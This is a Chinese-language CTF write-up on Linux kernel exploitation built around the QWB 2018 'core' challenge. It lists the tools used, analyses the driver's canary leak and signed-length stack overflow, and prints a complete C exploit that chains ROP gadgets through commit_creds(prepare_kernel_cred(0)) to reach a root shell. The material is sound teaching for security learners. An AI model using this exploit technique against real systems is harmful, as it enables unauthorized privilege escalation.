【PWN.0x0D】Linux Kernel Pwn:Let's Learn How to Pwn the Kernel

工欲善其事

vmlinux-to-elf

此工具允许从 vmlinux/vmlinuz/bzImage/zImage 内核映像获取完全可分析的 .ELF 文件,其中包含恢复的函数和变量符号。

1
2
3
sudo apt install python3-pip
sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df
sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf

食用方式:

1
vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>

ropper

用于获取gadget,比ropgadget快。

1
2
3
4
5
#安装
pip3 install ropper

#使用,将结果存在g1文件里
ropper --file ./vmlinux --nocolor > g1

extract-vmlinux

能够从bzImage等提取出vmlinux。这个脚本在我们编译出的内核源码的scripts目录下。

1
./extract-vmlinux ./bzImage > vmlinux

GDB

获取内核特定符号地址

1
2
grep prepare_kernel_cred  /proc/kallsyms
grep commit_creds /proc/kallsyms

获取驱动加载基地址,又有不同的方式。

1
2
cat /proc/modules
grep module_name /proc/modules

首先需要对 run.sh 做如下修改:

  • 添加 nokaslr 关闭地址随机化(不一定需要)。
  • 添加 -s,因为 qemu 其实提供了调试内核的接口,我们可以在启动参数中添加 -gdb dev 来启动调试服务。最常见的操作为在一个端口监听一个 tcp 连接。 QEMU 同时提供了一个简写的方式 -s,表示 -gdb tcp::1234,即在 1234 端口开启一个 gdbserver。
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

exec qemu-system-x86_64 \
-cpu kvm64 \
-m 256M \
-nographic \
-kernel ~/Desktop/kernel-pwn-lab/linux-5.15.153/arch/x86/boot/bzImage \
-append "console=ttyS0 panic=-1 pti=off nokaslr quiet" \
-monitor /dev/null \
-initrd ~/Desktop/kernel-pwn-lab/initramfs.cpio.gz \
-net user \
-net nic \
-s

然后我们就可以在启动qemu后,然后gdb远程连接到gdbserver进行调试。-q指定安静模式,-ex为启动gdb后立即执行指令。

1
gdb -q -ex "target remote localhost:1234" 

在启动内核后,我们可以使用 add-symbol-file 来添加符号信息,比如

1
2
add-symbol-file vmlinux addr_of_vmlinux 
add-symbol-file ./your_module.ko addr_of_ko

基础利用姿势

这里以我们经典的强网杯2018 - core为例

首先我们解压文件系统,这里发现给出的core.cpio,但其类型是gzip压缩,所以我们要先用gunzip解压一下。

1
2
3
mv core.cpio ./core.cpio.gz
gunzip core.cpio.gz
cpio -idmv < core.cpio

然后我们仔细看看init里面的内容,发现存在2分钟定时关闭,而且启动的shell是普通用户的shell(uid为1000),并且禁用了dmesg的内核日志查看以及直接cat /proc/kallsyms获取符号位置。但这道题的init中还是贴心的先把/proc/kallsyms迁移到了/tmp/kallsyms,那么其实我们还是能查看符号的偏移位置。

为了后续调试方便,我们可以修改init文件并重新对文件系统进行打包。对init改动处有两点,首先把poweroff的部分都注释掉,然后把setsid /bin/cttyhack setuidgid 1000 /bin/sh中的1000改成0,从而去除了关机以及以root权限启动shell。之后重新打包。

修改后的init内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

# poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

# poweroff -d 0 -f

重新打包

1
2
3
./gen_cpio.sh ./mycore.cpio.gz
gunzip mycore.cpio.gz
cpio -idmv < mycore.cpio

之后在start.sh中把 core.cpio 改为 mycore.cpio 即可,之后启动就不会自动关机,且权限为root了。

但是笔者实测一旦修改成这个样子后就会触发一些奇奇怪怪的问题,例如会不断地重启 :(

漏洞分析

init_module注册了/proc/core,exit_core删除了/proc/core

1
2
3
4
5
6
7
// Alternative name is 'init_core'
__int64 init_module()
{
core_proc = proc_create("core", 438, 0, &core_fops);
printk(&unk_2DE);
return 0;
}
1
2
3
4
5
6
7
8
9
// Alternative name is 'exit_core'
__int64 cleanup_module()
{
__int64 result; // rax

if ( core_proc )
return remove_proc_entry("core");
return result;
}

core_ioctl是一个菜单(当然不是让你点菜),有不同的功能选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 1719109787:
core_read(a3);
break;
case 1719109788:
printk(&unk_2CD);
off = a3;
break;
case 1719109786:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0;
}

core_read从 v4[off] 拷贝 64 个字节到a1,a1也就是后面我们可以传入的用户空间的一个缓冲区,而且全局变量 off 是我们能够控制的,因此可以合理的控制 off 来 将canary 和一些地址读取到用户空间的缓冲区,然后再自己把这个缓冲区内的内容输出,从而能泄露内核空间的一些地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为一个负数,就可以栈溢出了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}

core_write() 向全局变量 name 上写,这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了

1
2
3
4
5
6
7
8
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 4294967282LL;
}

WANT MORE!

EXP的目的就是为了提权,在Kernel Pwn中我们编译好的EXP实际可以直接调用,但是拿到的只是uid=1000的普通用户的权限。因此我们希望通过一系列内核漏洞的利用,最终能提高权限。
由于是第一次接触kernel pwn的exp编写,我这里直接拿exp来进行分析学习。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/*
* give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); //打开符号表,获取各符号偏移
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd)) //48条项目一组,一直找commit_creds和prepare_kernel_cred符号的地址
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16); //地址在前16个字节
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds); //以llx模式解析16个字节,正确解析出地址
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
int fd = open("/proc/core", 2); //以读写模式打开
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}

其中获取commit_creds等内核符号相对基址偏移的方式如下,得到偏移后,我们只要在运行exp时读取/tmp/kallsyms得到符号的真实地址,然后减去偏移之后就能得到虚拟地址符号基址。而且没有开启PIE保护下,我们可以看到内核映像默认加载基地址。这个地址是内核映像在物理内存中的加载地址,表示内核的起始位置。而/proc/kallsyms 中的符号地址 是内核符号(如函数名、变量名等)在内核虚拟地址空间中的位置。由于 Linux 内核会进行地址空间布局随机化(ASLR),即使内核的物理地址是固定的,它在虚拟地址空间中的位置可能会有所不同。

这里我脑抽忘记vmlinux文件中的基址是固定为0xffffffff81000000导致我一直再用sym[‘commit_creds’] - cat出来的地址:(

首先我们先保存cs,rflags等信息,以便以后返回用户态。然后打开我们的内核模块core.ko中所注册的/proc/core获得一个文件描述符,那么之后就可以利用ioctl进行操作。然后我们就可以获取到核心的commit_creds和prepare_kernel_cred地址。我们的目标是调用commit_creds(prepare_kernel_cred(0));进行提权。各函数的具体实现可以看exp中的具体代码,还是比较简单的。因为我们找到的gadget等地址都是固定的物理地址空间的地址,我们想要的是虚拟空间地址,所以还要算出相对偏移。

1
2
3
4
5
6
7
8
9
10
11
save_status();
int fd = open("/proc/core", 2); //以读写模式打开
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}

find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base; //虚拟地址空间相对于物理地址空间偏移

之后最核心的就是与注册的core设备进行交互,具体实现采用的是ioctl方式,每个函数对应之前IDA中所看到的内核模块的功能。但我们能发现core.ko中core_ioctl函数中只会调用core_read和core_copy_func,而没有core_write的调用。其实我们也可以在用户态直接write(fd, buf, len);来调用到这个函数(fd为该设备的描述符)。

首先是泄露canary,我们从IDA就可以看出canary相距v4有0x40个字节。copy_to_user(a1, &v4[off], 64LL)又能直接读出64个字节到用户空间,那么只要我们先把全局变量off设置为0x40,然后再用core_read函数,就能够将从canary开始的64个字节读取出来。也就泄露了canary。

1
2
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
1
2
3
4
5
6
set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

这里我们可以动调一下先看看,gdb从vmlinux启动,然后把core.ko作为symbol file附加上,之后就能在想要的位置处下断点了。

这里笔者还是没搞成功怎么取消掉原先其两分钟关机和用root账户登录这一过程,就学习其他大佬的思路吧(悲


那么我们先把exp编译出来,然后重新打包文件系统,再次启动在虚拟环境下运行exp,就能用gdb进行调试。这里比如我们在core_ioctl下断点。能够成功在这里断下来。


之后我们看core_read这个具体的过程,会发现copy_to_user执行完后,rbx指向了用户态的栈区域,也成功的把内核态中的canary以及之后的64个字节复制到了用户态的栈中。

然后就是写ROP,用的是ropper找出的gadget。

1
2
3
ropper --file ./vmlinux --nocolor > g1
cat g1 | grep 'pop rdi; ret'
......

这里rop链中mov rdi,rax可以把prepare_kernel_cred(0)返回的内容作为参数传入commit_creds中,因为gadget中的mov rdi,rax后面还会call rdx,所以前两个pop ret都是为了抵消call rdx的作用的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

执行完core_copy_func后,就成功把rop链写在了内核的栈上

之后我们重点看看返回用户态所用的swapgs,popfq,iretq具体做了什么。

首先swapgs会切换gs寄存器,先后对比如下


而popfq会把栈上弹出一个内容复制给e/rflags寄存器,先后对比如下。但这个并不重要,因为后面的ireq还会恢复e/rflags寄存器,所以这里的popfq只是gadget中swapgs的副作用。



而iretq则相当于先返回到当前栈顶地址处(用户态空间),然后依次从栈上弹出4个内容赋给cs,e/rflags,sp,以及ss。我们在函数一开始调用save_status就是为了这时候还原。

然后我们就返回了root权限的shell,要测试提权是否成功,我们现在回到init中把setsid /bin/cttyhack setuidgid 0 /bin/sh中的0改回1000,然后重新打包并启动,运行exp看看效果。

成功提权!

References


【PWN.0x0D】Linux Kernel Pwn:Let's Learn How to Pwn the Kernel
https://zer0ptr.github.io/2026/05/02/kernel-exploit-easy/
作者
zer0ptr
发布于
2026年5月2日
更新于
2026年5月9日
许可协议